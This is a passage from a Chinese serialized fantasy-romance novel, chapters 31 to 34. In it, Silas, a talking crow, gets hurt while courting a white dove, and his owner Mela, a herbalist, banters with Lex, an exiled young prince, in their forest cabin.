果然,有了梅拉的鼓励,本就憋得心里难受的塞拉斯像是找到了一个宣泄的理由,断断续续地将它心中的苦闷一股脑地倒了出来。 它谈起了与那位白鸽小姐的初遇:“那是一个风和日丽的下午,我像往常一样飞到湖边欣赏风景,突然头上掠过一道白色的身影,引走了我全部的注意力……” 等一下,尽管塞拉斯描述得非常文艺,但梅拉总觉得字里行间充斥着一股强烈的熟悉感,就好像她曾经在哪看到过这样文绉绉的开头似的。 在哪呢?梅拉一面听,一面分神回忆。 噢!梅拉脑海中灵光一现,忽然想起来了,这不就是某本已经被她压箱底了的小说的开头吗? 所以塞拉斯是什么时候把这些书翻出来看的?还是特意瞒着她偷偷看的。 梅拉看着塞拉斯的眼神顿时变得格外的幽深。 只不过,由于太过投入于自己所讲的故事,塞拉斯根本没有注意到梅拉眼神的变化,还在滔滔不绝地描绘它那惊鸿一瞥,“……那身洁白无瑕的羽毛,那在高空之上游弋而过的曼妙身姿,每分每秒都在让我的心跳加速……” “好了好了,我知道那是一只非常美丽的白鸽了,你可以说重点了。”梅拉屈起食指,叩了叩桌面,示意塞拉斯赶紧把正文搬出来。 要是让塞拉斯去写小说的话,它的读者一定会因为它啰嗦的文笔而感到不耐烦的。 好在塞拉斯收到梅拉的警告,立刻识趣地清了清嗓子,将还未脱口而出的赞美给咽了回去,转而说到了梅拉最关心的部分: “……虽然我向这位年轻漂亮的白鸽小姐展开了热烈的追求,但它却对我避之不及,屡次拒绝了我对它的示好。” “譬如?” “譬如每当我试图接近它,它却立刻像受到什么惊吓一样飞走了;有天我摘了一束漂亮的野花想要叼给它看看,还故意将花放在了它的巢穴附近,是只要它从外面飞回来,绝对一眼就能看到的位置。没想到,等我第二天再去看它的时候,就发现花还在,巢里却已经空了……” 一提起这些令鸟伤心的往事,塞拉斯的情绪再度低落了下去,它怎么也想不通,自己为什么会被拒绝,难道这世上还有比它更聪明绝顶、英俊无双的乌鸦吗? 在自信这一方面,塞拉斯有着和它的主人一脉相承的坚定。 “可能是因为,鸽子也在乌鸦的食谱上吧。”一旁的莱克斯默默地来了一句。 “所以一见到你靠近,那位鸽子小姐就觉得你是打算把它当成了今天的猎物,当然要逃了。” 嗯?是这样吗?梅拉露出恍然大悟的表情,好像莱克斯说的还挺有道理的。 即使对方是一只鸽子,强迫它爱上自己的天敌也实在是太为难它了。 “原来是这样吗?!” 塞拉斯同样是一幅非常震惊的模样。 这也不怪它不知道,毕竟它还是只雏鸟时就跟着梅拉了,基本上梅拉吃什么,它也跟着吃什么,从没像其它乌鸦一样自己捕猎过。 像鸽子在乌鸦的食谱上这种事,自诩与其它乌鸦不一样,没法与它们交流的塞拉斯当然也就无从得知 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“给她送集市上买来的小玩意儿、给她找来珍贵的草药、邀请她参加舞会一起跳舞……”塞拉斯绞尽脑汁地回忆。 虽然那些小玩意儿梅拉压根不感兴趣,最后都成为了它的玩具。 虽然梅拉去完舞会就说一晚上都在跳舞简直太累人了,下次再也不去了。 “是这样啊,”莱克斯若有所思地勾起唇角,“可你看这些手段根本没有打动梅拉,不是吗?” 否则梅拉又怎么会孤立无援地逃离白松镇。 所以,塞拉斯一开始学习他们的做法就是错误的。 “……也不能说压根没有奏效吧,”被追求的当事人梅拉跳出来反驳道,“至少我就记得送我星斑藤的那个人叫普利尼,是住在隔壁黑河镇上的一名药材商人的儿子。” “送你星斑藤的那个人不是叫尼普利吗?以及他的父亲明明是黑河镇上的粮食商人。”塞拉斯疑惑地反问。 闻言,莱克斯右手握成拳,抵在唇上,免得一不小心笑出了声,惹得梅拉恼羞成怒。 梅拉悻悻地收了声,顺便将塞拉斯和莱克斯各瞪了一眼。 莱克斯也就算了,塞拉斯怎么就不长记性,非要拆她的台呢。 “总之,这些都是错误示范,你以后还是别学了。”莱克斯清了清嗓子,正色道。 “那你说我该怎么办?”塞拉斯难得低着脑袋,放低姿态,向莱克斯虚心求教。 莱克斯也没有糊弄它,给了个看上去非常可靠的办法,“这个简单,你去找一只求偶成功的乌鸦当做范例不就好了。” 人家既然成功了,那就说明它的做法一定有可取之处。 “好吧,为了我的爱情,我愿意作出这样巨大的牺牲。”塞拉斯沉默片刻,攥紧了翅膀,仿佛下定了某种决心。 “加油,塞拉斯!”身为它的主人,梅拉毫不吝啬地给予了自己的支持。 接着她看向没有表态的莱克斯。 “……加油。”莱克斯不得不硬着头皮道。 31. 第 31 章 塞拉斯灰溜溜地回来了。 它鬼鬼祟祟地降落到窗台上,探出小半个脑袋,视线绕着屋子内转了一圈,确认梅拉和莱克斯都不在小木屋里后,这才放心地走了进来。 然而下一秒,塞拉斯就被捏住后脖颈拎了起来。 “你鬼鬼祟祟的干什么呢?” 梅拉的声音从塞拉斯的背后传来。 激得它下意识的缩了缩脖子,不敢吭声。 很快,塞拉斯反应过来,这么做会显得它更加可疑,赶紧磕磕巴巴地开口,“没、没干什么啊,我就是想和你玩捉迷藏呢。” ? 没事玩什么捉迷藏? 梅拉把塞拉斯拎到自己面前,转过来,凑近了打量,“说起来,你为什么要拿翅膀捂着肚子?” “刚才风太大,好像吹得肚子有点凉,怕着凉吧,哈哈……”塞拉斯被拎着后脖颈还不老实,嘴里含含糊糊的,脚下也在使劲,试图脱离梅拉的钳制。 可惜,不管是当年塞拉斯还小时,还是现在,梅拉想要拿捏它都是轻轻松松的事。 “把翅膀挪开给我看看。” 梅拉直接上手扒拉。 吓得塞拉斯一下子挣扎得更加厉害了,爪子不断在腾空的状态下扑腾,唯独一对翅膀死死地捂住肚皮,不断躲避着梅拉伸来的手。 “不、不行!我是说,你先把我放下来再说……” “怕不是等我刚把你放下来,你就立刻飞走了吧?”梅拉才不跳这么笨的陷阱。 “我数三声,立刻坦白你想隐瞒的事情,否则——” 梅拉没把话说完,只哼了两声,让塞拉斯自己掂量后果。 “好吧,既然你非要看,那就看吧!” 塞拉斯视死如归一般打开翅膀,露出底下柔软的腹部,以及上头被啄得有些坑坑洼洼的地方。 一看就知道对方下了狠手。 “噗嗤。”梅拉忍了又忍,还是没忍住笑出了声,“你、你这是怎么、怎么一回事?” 难得见梅拉说话变得结巴,可塞拉斯不仅没有了笑话她的心情,反而因为自己就是那个笑话,而无比沮丧起来。 正因为早知道梅拉会是这个反应,所以它才不想被她看到! 结果偏偏还是让梅拉给撞见了。 塞拉斯恨不得时光倒流,在养好伤之前,干脆连小木屋都不回来了。 “好啦,快说是谁欺负了你,我让莱克斯去帮你找回场子。”梅拉克制住嘴角的弧度,故意严肃道。 可惜塞拉斯不是瞎子,看得见她眼里如初春时节,河中冰雪消融,重新流动起来的笑意。 她明明就是想听它是如何被欺负的故事了。塞拉斯郁闷地想。 可它的嘴巴却主动张开,让挤在喉咙处的回答找到出口,自己跑了出来。 “还不是因为莱克斯提的建议……” 为了帮助塞拉斯成功追求到它心爱的百合小姐,莱克斯提议,让塞拉斯找一个求偶成功的模范学一学,说不定从此就开窍了呢。 塞拉斯听了,觉得是个好主意,立刻行动起来,飞遍小木屋附近的树林,找到了一对每天都甜甜蜜蜜的乌鸦夫妻。 没办法,这会儿俨然快要进入盛夏,求偶期早已结束,塞拉斯只好将就一下,从这对夫妻身上学习公鸟是如何讨雌鸟欢心的。 塞拉斯悄无声息地停在了一根树枝上,离这对年轻的乌鸦夫妻筑的巢不远,还能借着枝叶的掩映偷偷摸摸地观察它们的生活。 看到公鸟用喙轻柔地给雌鸟梳理身上的羽毛,塞拉斯心里想的却是梅拉曾经用手温柔地拂过它的身体。 梅拉的指甲通常修剪成圆润的形状,如同一粒粒白里透粉的贝壳一般,陷入塞拉斯的羽毛里,替它打理好不小心翻飞的那一根逆羽。 舒服得塞拉斯忍不住转过身,示意梅拉另一边也要。 视线中,身为丈夫的那只乌鸦忽然从巢里飞了出去,塞拉斯赶紧回神,琢磨它这么做的目的。 过了一会儿,它回来了,嘴里还叼着一块亮晶晶的石头。 原来是去找漂亮的小石头当礼物来送了。 塞拉斯眼神挑剔地打量着它递给雌鸟的那块石头,有个地方太尖锐,容易划伤嘴巴;花纹不够鲜艳,面积也不够大;颜色不够剔透等等,只觉得根本比不上自己这些年收藏的任何一块石头。 想当初,塞拉斯送给梅拉的第一块石头,可是它精挑细选了好久,山上山下飞了几百趟,才终于决定带回来的最完美的一块。 塞拉斯还记得梅拉收到它放到手心的石头时,眼里的惊讶根本掩饰不住,甚至高兴得直接合起手掌,把塞拉斯一把抱入了怀里。 “真是一块特别漂亮的石头,我很喜欢,谢谢你,塞拉斯。” 此时的塞拉斯还不懂要掩饰自己骄傲的小情绪,它直愣愣地笑出来,激动地许诺之后还会给梅拉找更多更漂亮的石头回来。 可惜那些漂亮的石头和白松镇的家一起,落到了不知道谁的手中。 或许是那个贪婪讨人厌的税务官,他总爱上门从梅拉手里讨点小便宜,最后还要让梅拉给他送免费的草药。 呸,真是不要脸。 又或许是隔壁总是不安好心的詹森太太,她嫉妒梅拉一个年轻的姑娘独自居住在那么大的房子里,而他们一家十几口人却要挨挨挤挤地住满家里的各个房间。 可又不是梅拉让她接二连三地生七八个孩子,甚至梅拉还劝过她,生太多孩子对身体不好。还记得她的脸色越来越苍白,简直快要和准备躺进棺材里的死人一样了。 最好是落到了好心肠的苏珊手里。 她会做美味的面包和烤肠,还会给塞拉斯用毛线织一块柔软暖和的垫子。整个白松镇上,除了梅拉之外,塞拉斯最喜欢她了。 可惜她的父母总是想要逼她嫁人。 如果她能住到梅拉的房子里,这样即使不用嫁人,她也能拥有属于自己的落脚之地了。 塞拉斯想得太入迷,以至于忘记了屏息凝神,不慎暴露了自己的踪 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只不过,身上的纱布禁锢了它的翅膀,塞拉斯大概得有好一阵子只能像个走地鸡似的,光靠两条腿走路了。 “亲爱的梅拉,你能不能用剪刀给我身上这块纱布修剪一下?我不想飞不起来。”塞拉斯试图用可怜巴巴的眼神打动梅拉,答应它的请求。 然而铁石心肠的梅拉拒绝了塞拉斯,她笑吟吟的目光在塞拉斯身上转了一圈,“这不是包得挺好的吗?圆滚滚的,是黑芝麻馅的馅饼。” 我看是你想吃黑芝麻馅饼了才对。塞拉斯暗戳戳地想到,却不敢真的和梅拉对着干。 算了算了,暂时飞不了就飞不了吧,只是它要有好长一段时间没法飞去找百合小姐了。塞拉斯不由得有些郁闷。 还有莱克斯,提的什么没有用的建议,它也是一时心急才会信了他的话。 也不想想,以莱克斯的年纪,又天天围着梅拉打转,连喜欢的对象都没有,又怎么可能为它的追爱大计提出什么有效的办法呢? 果然,靠人不如靠自己。塞拉斯暗道,决定之后还是要靠自己的方法来。 “所以你好不容易硬气一回,和别的鸟打架,到底是赢了还是输了?” 梅拉仍然对这个问题耿耿于怀,非要塞拉斯回答她。 “勉强算是平手吧。”塞拉斯也不知是为了挽尊,还是真的确有其事,总之给出了一个非常勉强的答案。 “真的?”果然,梅拉压根不相信。 “当然是真的!我还把它头顶上的羽毛啄掉了好多根,看它这下变成了半个秃子,估计要被嫌弃了吧。”塞拉斯发出一阵嘎嘎的坏笑。 别看它被当成宠物养了这么多年,野性几近于无,但真要惹恼了它,它塞拉斯也是不找回场子决不罢休的! 嗯,这点也和它的主人梅拉一样,不愧是一对相伴多年的好主宠。 32. 第 32 章 同样的午后,同样站在排列整齐的花盆前,莱克斯提着水壶仔细地控制着浇入花盆的水量,梅拉则跟在他身后,弯着腰,挑起面前粉色的花苞逐一进行查看。 透过尚处于闭合状态的薄如蝉翼的花瓣,能看见其中被掩藏起来的影影绰绰的花蕊,看样子似乎很快就能迎来这一批粉红烟管花盛开的日子。 换做平时,梅拉一定会为此感到高兴不已,然而现在,梅拉却对着长势喜人的花苞长长地叹了口气。 见莱克斯没有如预料中的那样搭话,梅拉只好重新重重地叹了口气。 其实猜到梅拉想说什么,所以故意不搭茬的莱克斯:“……怎么了吗?这花有哪里长得不好吗?” “不是花的问题,是塞拉斯的问题。”梅拉着重强调。 “自从它第六十七次接近百合小姐失败,已经整整两天没有回来小木屋了。” 梅拉认为可怜的塞拉斯一定是彻底受到打击,从此一蹶不振了。 “如果这两天按时回来吃晚餐,吃完又飞走也算没回来过的话。”莱克斯面无表情地补充。 这也是他丝毫不像梅拉一样担心塞拉斯的原因。 莱克斯觉得,塞拉斯这两天之所以躲在外头不愿意回来,大概是因为觉得太丢脸的缘故。 不过饭还是要吃的。 一到饭点,塞拉斯便会准时飞回来,对着碗里新鲜出炉的食物大快朵颐。 而吃完晚餐再当着梅拉与莱克斯的面飞走,也许是它试图维持自尊的最后的倔强。 莱克斯想,大概过不了多久,塞拉斯就会恢复元气,精神抖擞地重新露面。 更何况,“这次的打击其实对塞拉斯来说或许是件好事呢?至少帮助它认清了现实,不再试图追求永远不会回应它的对象。” 莱克斯从理智的角度分析到。 “听起来,你是觉得塞拉斯应该放弃这段感情吗?”梅拉问。 “在被心上人拒绝后,仍要继续纠缠的行为实在不属于一名贵族应有的风度。”每当莱克斯不想要回答某个问题的时候,他就会搬出格外冠冕堂皇的说辞。 莱克斯也说不清自己此刻是什么想法,只是下意识的觉得不能就这么向梅拉坦白。 有时候梅拉心情好,倒也随便莱克斯就这么糊弄过去,但现在,梅拉非要打破砂锅问到底,“谁要听你说这些,你只要说你心里到底是怎么想的就行了。” 莱克斯:“……” 好吧。 “我是这么想的没错。”莱克斯承认了。 “倘若换做是我,我是绝对不会像塞拉斯一样坚持追求一个屡屡拒绝自己的人的。” 在莱克斯看来,塞拉斯早该放弃了。 世人往往喜欢把这种不必要的执着称之为浪漫,许多传世的诗篇中,也有不少专门歌颂坚持就能获得真爱的故事。 然而骄傲如莱克斯,从来不屑于捧上一颗真心,任所谓的心上人三番五次地弃如敝履。 他宁可收回这份爱,也绝不要沦落到摇尾乞怜的地步。 “总觉得一旦你哪一天被心上人拒绝了,一定会做出比塞拉斯还要不可理喻的事情。”梅拉幽幽地道。 “不过,”不等莱克斯反驳,梅拉又道,“反正那也是你离开这里之后的事情了。” 毕竟这座黑暗森林里除了梅拉之外,暂时也没有别的女人了。 哪像在王宫里,永远有身份高贵的贵族小姐穿着华丽的衣裙,化着精致的妆容,出现在莱克斯的视线之中,羞答答地喊他一声—— “王子殿下。” 梅拉说着,自己都忍不住笑了起来。 “小心——”莱克斯眼疾手快地伸手,拉了梅拉一把,否则她差点就要整个人以蹲着的姿势往后栽去。 这下梅拉倒是站了起来,只不过却是直接扑到了莱克斯的怀里,嗅到了他身上干净的皂香。 十七岁的少年,距离成年的日子不再遥遥无期,甚至早已近在眼前,所以衣服包裹下的身躯自然是成熟的、覆盖着柔韧而富有弹性的肌肉。 甚至让梅拉撞得鼻子有些疼。 同样,莱克斯的鼻尖也充斥着属于梅拉的气息,草药的味道裹挟着女性独有的温暖馨香,以至于他竟然有一瞬的失神。 “莱克斯,”梅拉忽然喊他的名字,“我们是不是又该拜托杜克瓦托买肥皂了?” 梅拉非常严肃地道。 毕竟以梅拉日常粗心的程度,裙子上总是难免沾上大小不一的深渍,如果没有肥皂的话,是绝对洗不干净这些渍点的。 “……上个月买的那块肥皂是快用完了。” 莱克斯回过神,松开了梅拉。 本来他正打算过几天和梅拉说这事,既然现在她主动提及,倒是省去了莱克斯提醒的功夫。 只不过发生了这样一个小插曲,哪怕梅拉看起来并不在意,莱克斯还是忍不住把话题转回塞拉斯身上,仿佛这样就能忽略掉心底不该有的情绪。 “……说起来,就算塞拉斯得偿所愿,这段感情应该也不会长久的吧?” 见梅拉看过来,莱克斯补充道,“毕竟它不可能和塞拉斯交流,不是吗?” 这也是之前莱克斯说,那位百合小姐不可能会回应塞拉斯的原因。 塞拉斯是奇迹,是世上唯一一只能说话的乌鸦,它能有来有往地和梅拉与莱克斯交流,就证明它有不输于一般人的智慧。 而百合小姐,却只是一只普普通通的白鸽,它听不懂塞拉斯嘴里说的是什么,它发出的咕咕声也无法被塞拉斯所理解。 因此,莱克斯认为塞拉斯的这段感情完全是它一只鸟的一厢情愿。 这样就更不应该继续下去了。 否则当塞拉斯终有一天意识到,它永远无法与恋人心意相通,受到的打击只会比现在更大。 “按照你的说法,塞拉斯如果需要找一个能够交流的恋人,那它大概只能喜欢人类了吧。可是,”梅拉轻轻地抚平因为刚才的动作所导致裙子上出现的褶皱,“会有人能接受自己和一只乌鸦相爱吗?” 闻言,莱克斯沉默了。 他突然意识到,塞拉斯在这个世上其实是孤独的。 在其他鸟的眼中,塞拉斯说着和人类一样古怪的语言;但是在人类的眼中,塞拉斯只是一只过分聪明的鸟而 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见状,哪怕明知道是怎么一回事,莱克斯还是忍不住露出有些古怪的表情,“我已经十七岁了,”他强调到,“你是不是还觉得我是当年那个孩子?” 否则怎么会觉得不需要和他保持一个男人与一个女人之间应有的距离? “我知道啊,”梅拉语调轻松,打量的眼神飞快地扫过莱克斯的喉结,不断往下,“假如没到十七岁的话,应该也不会有这么一具漂亮的身材吧?” “我刚才有好好地感受到喔,是非常结实的肌/肉,看来这些年的锻炼没有白费。” 梅拉用带着调侃的口吻强调道。 然后莱克斯的耳朵就以一种肉眼可见的速度飞快地变得通红起来。 “梅拉!” 莱克斯难得带着些许怒意喊了梅拉的名字。 梅拉歪头,一幅完全不担心莱克斯会拿她怎么样的态度。 见到她这副模样,莱克斯心中的怒意真的盖过了羞意。 “梅拉!” 这回喊话的是匆匆忙忙飞回来的塞拉斯。 它的出现打断了空气中若有若无浮动的粉色气息。 塞拉斯忽略掉莱克斯的存在,一股脑地往梅拉的怀里扑去。 “塞拉斯,你这是怎么了?怎么翅膀上又掉了不少的羽毛?难道说,你又和哪只鸟打架去了?” 梅拉吃惊地打量着怀里的塞拉斯。 只见它虽然身上带着伤,脑袋却昂得高高的,一派神气得不得了的样子。 “哼哼。”塞拉斯高兴地哼哼了两声。 “你猜的没错,我是和别的鸟打架去了,但我这回可是有原因的。” 和上次偷窥别的乌鸦小夫妻被揍可不一样。 “这一次,我是为了救百合小姐才挺身而出的!” 塞拉斯兴高采烈地抛下这么一个重磅的消息。 “啊?” 塞拉斯的话引得梅拉与莱克斯面面相觑,一时间脑袋上顶了两个问号。 33. 第 33 章 在第六十七次的接近失败后,塞拉斯确实动过放弃的念头。 没办法,远远地看到从树枝上被惊起的白色身影,以及它仓惶地回头,似乎身后有恶徒在追的样子,塞拉斯只觉得自己的心都碎了。 就像梅拉曾不小心打碎的玻璃杯,砸到地上,碎成了千千万万大小不一的碎片,锐利的棱角泛着刺痛眼睛的冷光。 塞拉斯揉了揉发酸的眼睛,拖着蔫耷耷的身躯,垂头丧气地离开了这里。 不过,为着那不可言说的自尊心,塞拉斯选择先在外头呆几天,除了饭点,绝不回到小木屋。 果然,在塞拉斯刻意的卖惨之下,梅拉开始心疼它了。 为了挽留塞拉斯用完晚餐后在小木屋多待片刻,梅拉甚至主动端着一盘莱克斯刚切好的甜杏走了过来,热情地招呼它,“塞拉斯,快来尝尝这个杏子,味道可甜了。” “真的?快让我尝——”塞拉斯下意识地眼前一亮,挪动爪子往前走了两步,好在下一秒,它立刻反应过来自己的态度有问题,不应该表现得这么迫不及待、没心没肺才对。 于是,塞拉斯的动作一顿,赶紧装模作样地咳嗽了两声,摆摆翅膀,谢绝了梅拉的好意,“算了,我现在没心情吃这个,唉……这杏子的颜色可真漂亮,像极了我当初曾为百合小姐摘过的那束野花……” “来,张嘴。” 梅拉亲手用小叉子叉了一块杏子递到塞拉斯的嘴边。 塞拉斯毫不犹豫地张嘴吃了下去,生怕慢了一秒,梅拉就把手收了回去。 它嚼嚼嚼。 嗯,梅拉说的没错,这杏子可真甜啊。 塞拉斯的嘴里分泌出口水,望着盘子里的黄澄澄,眼巴巴的还想再来一块。 梅拉忍着笑,满足了它的愿望。 一旁正把洗碗布晾起来的莱克斯顺势投来一瞥,这就不装了,破功可真快,也就是梅拉不想戳穿它,否则按照塞拉斯那点演技压根不够看的。 吃了小半盘杏子后,塞拉斯感觉胃里鼓鼓的,饱胀感简直快要顶到喉咙口,于是忍痛拒绝了梅拉继续递来的果脯。 “我该走了。”它说。 接着一振翅膀,扑向了窗外。 看起来走得毫不留恋。 等到深夜时分,小木屋的灯光暗了下去,估摸着梅拉和莱克斯大概已经睡着了之后,塞拉斯才鬼鬼祟祟地飞了回来,落到了小木屋的屋顶上。 这里有一个专门用来存放它所喜爱的亮晶晶小东西的巢。 只不过以前塞拉斯更喜欢和梅拉待在一起,宁可站在屋子里的栖杆上睡觉,这个巢也就顺理成章地空置了下来。 不过,现在么,塞拉斯虽然要装出一幅伤心的模样,但如果真的要让它独自睡在外头,随时提防有可能出现的敌人和到处乱飞的小虫子,半夜还要被不知道哪些野兽弄出来的动静吵醒,那是绝对不可能的。 因此,塞拉斯正好重新把这个巢捡起来使用,舒舒服服地把自己窝进去,闭上了眼睛。 等到朝阳在地平线上露面的那一刻,再不紧不慢地离开,避免让梅拉或是莱克斯发现。 然而,今天的太阳快完全升到头顶上时,塞拉斯才终于醒了过来。 它吓得扑扇了两下翅膀,往小木屋底下瞧了瞧,庆幸地发现一向习惯早起的莱克斯并不在,才着急忙慌地飞了起来。 小木屋里,站在窗前的莱克斯正好目睹了这一幕:“……” 他转身看了看同样因为睡了懒觉,这会儿还躺在摇椅上眼神迷蒙的梅拉,再一次感叹主人和宠物果然是长得越来越像的一对存在。 * 塞拉斯飞到一半,忽然被地上一个亮闪闪的小东西吸引了视线。 它压低身体,落到地上一看,原来是一枚小小的纽扣。 塞拉斯认不出这是什么材质做成的纽扣,只觉得它看起来就像一粒贝壳一样,是乳白色的,还带着波浪似的弧度。 偶尔阳光侥幸地从繁茂的枝叶间隙透进来一缕,照在这枚纽扣的身上,便闪出了白色的冷光,难怪会吸引到塞拉斯的视线,乌鸦的天性如此,它们天然喜爱一切亮晶晶的东西。 奇怪,黑暗森林罕有人至,谁会掉了粒纽扣在这里? 塞拉斯歪了歪脑袋,没想出个所以然来。 如果此刻莱克斯也在这里,一定能认出这粒纽扣是八年前曾在王城十分流行的一种款式。 可惜,这里只有对此一窍不通的塞拉斯。 它满脑子都是不劳而获的窃喜。 既然掉在了地上,又恰巧被它所发现,那这粒纽扣理所当然就归它所有了。 塞拉斯兴高采烈地将纽扣叼起来。 本来它是打算将这粒纽扣直接带回去收藏起来的,只不过塞拉斯突然想到,尽管它已经打定主意要放弃追求百合小姐了,但还缺一份正儿八经的告别礼物。 梅拉买来的那些小说里写了,那些表白失败的男人为表风度,无一例外都会给女方再送点东西作为留念,有可能是一枚胸针,有可能是一条项链,总之哪怕是最落魄的男人,也要摘一束漂亮的野花送过去。 而塞拉斯自认有着不输于人类的智慧,在告别这件事上,当然也要像人类一样做到尽善尽美。 正好,这个就很合适。 以后,只要百合小姐一看到这粒纽扣,就一定会想起它塞拉斯吧。塞拉斯美滋滋地想到。 两扇翅膀煽动的速度更是加快了几分,整只鸟几乎如同利箭一样朝着一个方向急速飞去。 然后,塞拉斯就撞见了令它那双黑豆眼都下意识瞪大了的一幕。 “竟然有一只可恶的乌鸦追在百合小姐的屁股后头,张开了嘴,只差一点点,它就要得逞了!” 提起这事,塞拉斯仍然是一副义愤填膺的口吻,翅膀都下意识地攥了起来。 梅拉还没来得及提醒它。 于是下一刻,“嘶嘶嘶,好疼,好疼!” 塞拉斯立刻换了副面孔,不仅疯狂地倒抽冷气,而且疼得几乎要在梅拉的膝盖上直接跳起来。 还好梅拉眼疾手快地把它按住了。 否则塞拉斯若是真的跳起来,现在该疯狂倒抽冷气的人就该变成梅拉了。 “所以,你冲上去英雄救美了。” 梅拉用的是肯定句。 不然塞拉斯身上也不会有这么多的伤口。 其惨烈程度甚至有些地方能看到有粉色的皮肉隐隐约约地露出。 梅拉这下是真的心疼不已。 听到塞拉斯叫着“好疼 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但,有了上一次的经验,塞拉斯成功地从那名年轻的乌鸦丈夫身上学习了如何躲避要害,又能给敌人迎头痛击的技巧,然后将这个技巧在这一次的斗殴中运用得炉火纯青。 “别看我身上揣着这么多的伤口,但那只臭乌鸦最后可是直接被我吓跑了呢。” 塞拉斯简直得意坏了。 一时间,仿佛身上的伤口都不疼了,这完全是它荣誉的勋章嘛! “对了,那百合小姐呢?”梅拉忽然想起来刚才塞拉斯完全没提到英雄救美故事中的女主角。 它的后续呢? “当然是成功逃走了啊。”塞拉斯道。 好不容易它的敌人被塞拉斯引开了全部的注意力,它正好趁着这个机会飞进了另一片林子里去躲了起来。 至于它到底躲去了哪,这个塞拉斯就不知道了,毕竟它一心想着受了伤,当然要赶紧回小木屋来找梅拉了。 “不过,我把那粒纽扣留下了,虽然没有好好地当面道别,但《情迷庄园之夜》里说了,留下礼物后默默地离去,不失为一种体贴的潇洒。” 塞拉斯挺起胸脯,顺便拨弄了两下没被纱布裹住的羽毛,觉得自己是这世上最潇洒的乌鸦无疑。 听到这个似乎有些熟悉的书名,梅拉反应了好一会儿,才总算想起来,这不就是那本通篇文绉绉的,被她潦草看完一遍直接压箱底了的小说吗? 没想到塞拉斯竟然好这一口。 和她这个主人的品味可真是相去甚远。 不过,梅拉不动声色地往后挪了几步,凑到莱克斯的身边“看来你担心的那件事暂时不会发生了。” 至于是什么事,莱克斯心知肚明,无非就是下午两人在屋后讨论的,莱克斯认为塞拉斯若是继续坚持下去,只会受到更严重的伤害。 而梅拉当时没来得及表明的态度,现在也很清晰了,那就是不赞同莱克斯的想法。 “你看,其实很多事情,未必走得到那么长远,根本没必要担心未来的结果。”梅拉轻巧地拍了拍莱克斯的肩膀,轻笑一声,转身离开了。 根本没必要担心未来吗? 莱克斯在心底反复咀嚼这句话,眼神逐渐变得深邃起来。 34. 第 34 章 梅拉总觉得最近的天气越来越热了。 按理来说,黑暗森林常年弥漫着一股森冷的气息,即使在夏季最炎热的时候,置身其中也会有一种后背发寒的感觉。 哪怕当初建造小木屋时,她特地挑了能照进阳光的地方,也不应该这么热才对。 仿佛人都快要融化在椅子上。 身体内的燥热促使梅拉端起放在一旁的杯子,和人一样蔫吧的薄荷叶飘在水里,根本看不出刚从盒子里拿出来时那绿意盎然,仿佛自摘下来生机就凝固在了叶片上的模样。 梅拉尝了一口,薄荷应有的清新提神的味道已经几近于无,更别提舒缓她体内的热意。 梅拉下意识想呼唤莱克斯,结果发现他人并不在屋子里。 奇怪,莱克斯去哪了? 与此同时,梅拉倒是注意到了趴在角落的柜子上,一动不动的塞拉斯。 这个角落应该是整座小木屋里最阴凉的一处地方了,常年不见阳光,遇上雨季洇了水汽会变得有些潮湿,偶尔,柜子底部还会冒出两朵细小的蘑菇。 因此,塞拉斯躲在上头,简直像是终于找到了一处避难所,它那一身羽毛在这样的热度下可比梅拉更加难捱。 即使如此,塞拉斯一旦动弹,哪怕只是稍微变换一下姿势,一股热气瞬间从体内蒸腾上来,让它恨不得往自己身上兜头浇一盆冷水才好。 突然,门口出现了莱克斯的身影,他的手里拎着几条手帕,走过来,将其中一条递到了梅拉的手里。 帕子是湿润的,应该刚浸过水,又让莱克斯拧到了不至于往下滴水的程度。总之,梅拉将它往脸上一盖,忍不住发出一声舒服的喟叹。 冰凉清爽,丝滑的触感体贴地裹住了皮肤的每一寸。 什么好东西? 听到动静,塞拉斯抬起头,发现莱克斯又偷偷给梅拉特殊待遇,顿时嚷了起来:“我也要我也要。” 莱克斯手里本来就还剩两条手帕,自然是每个人都有份,包括塞拉斯。 只不过对塞拉斯,莱克斯就没那么温柔了。 随着莱克斯走过来,塞拉斯的眼前忽然一黑,原来是手帕像一张冰凉的毯子一样盖到了它的身上。 塞拉斯顾不上抱怨莱克斯的粗鲁,往前蹭了蹭,大半个脑袋从手帕下挪了出来,然后停住了,像梅拉一样发出舒服的叹息。 此时,莱克斯反倒只是用手帕擦了擦脸上流下的热汗,可以说是这座屋子里最体面的一个。 “对了,这一条手帕是你从旧衣服上剪下来的吗?” 梅拉摸着比寻常麻布更柔软的触感,更轻薄的质地,明显是贵族们最钟爱的绸布。 “嗯,”莱克斯应了一声,顺便解释了一句,“十二岁那年穿来的旧衣服,留着也没用,好在布料还算能用,就干脆剪了好几块手帕下来。” 实际上,是莱克斯见梅拉热得不成样子,才特地将这套衣服给找了出来。 莱克斯不提,梅拉都忘了,他还有过这么一套衣服。 毕竟自从她拜托杜克瓦托给莱克斯买了新衣服后,莱克斯就把从王宫里带出来的这套衣服给收了起来,再也没有穿上身过。 平时都是做最普通的平民打扮。 站在莱克斯的角度,倒是很好理解。 供给王储穿的衣服当然要用到最好的布料,再由王城里出名的裁缝精心制作,连上头的金线都细细地绣了月桂叶的花纹,绕了袖口一圈,精致又华贵。 只不过穿着这样的衣服干活,难免有些碍事,轻易还容易勾住,扯开一个口子,还不如换上更结实耐用的麻布衣服。 话说回来,“莱克斯,难道你一点都不热吗?” 梅拉扯下不再冰凉的手帕,朝莱克斯看过去,语气有些疑惑。 只见莱克斯仍然穿着平时那套衣服,扣子系得一丝不苟,领口将小半截脖子遮得严严实实,连袖子都没挽起来,仿佛快要把梅拉都融化的热度一点也没给他造成困扰。 对此,莱克斯的回答是,“是有点热。” 然而比起在大太阳底下穿着猎装,骑着马穿梭在王室的猎场中来说,莱克斯是真觉得目前还算能忍受。 哪怕时隔多年,莱克斯仍然能回忆起暴烈的阳光劈头盖脸地照在身上,汗水顺着额际一路流进眼睛里,咸得发酸的感觉。 即使如此,莱克斯也要耐心地捕捉周遭的细微动静,及时搭弓射箭。否则若是拿出来的猎物数量太少,或是让努伦格尔九世对他的表现感到不满意,他可就要直接对上努伦格尔九世那蛮不讲理的怒火了。 连六岁的小莱克斯让猎物弄得太狼狈,都能成为那个男人怒不可遏的理由,他毫不客气地指责道:“那么多骑士跟在你的身边,竟然都能弄成这个样子,真是废物!” 说着,他将刚擦过酒液的手帕用力丢到莱克斯脸上。 感受到周围大臣们明里暗里的视线,小莱克斯心间涌上了无比的屈辱。 即使到了现在,莱克斯还能想起那份屈辱的滋味。 不过,除此之外,时刻保持仪容也是贵族教育的一部分。 